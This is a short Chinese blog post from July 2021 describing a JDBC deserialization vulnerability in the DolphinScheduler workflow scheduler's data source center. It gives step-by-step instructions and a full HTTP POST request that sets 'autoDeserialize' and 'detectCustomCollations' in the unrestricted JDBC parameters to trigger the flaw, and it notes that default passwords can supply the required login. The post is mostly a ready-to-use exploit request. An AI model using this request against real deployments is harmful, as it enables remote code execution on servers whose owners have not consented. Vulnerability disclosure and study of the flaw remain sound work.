它是一个分布式去中心化，易扩展的可视化DAG(有向无环图)工作流任务调度系统。
利用漏洞:需要登录权限, [09/12 态势感知]提供一组默认密码。

该漏洞存在于数据源中心未限制添加的jdbc连接参数,从而实现JDBC客户端反序列化。
1、登录到面板 -> 数据源中心。
2、jdbc连接参数就是主角,这里没有限制任意类型的连接串参数。
3、将以下数据添加到jdbc连接参数中,就可以直接触发。

POST /dolphinscheduler/datasources/connect HTTP/1.1



type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

other={"detectCustomCollations":true,"autoDeserialize":true}

最后修改：2021 年 07 月 22 日
© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏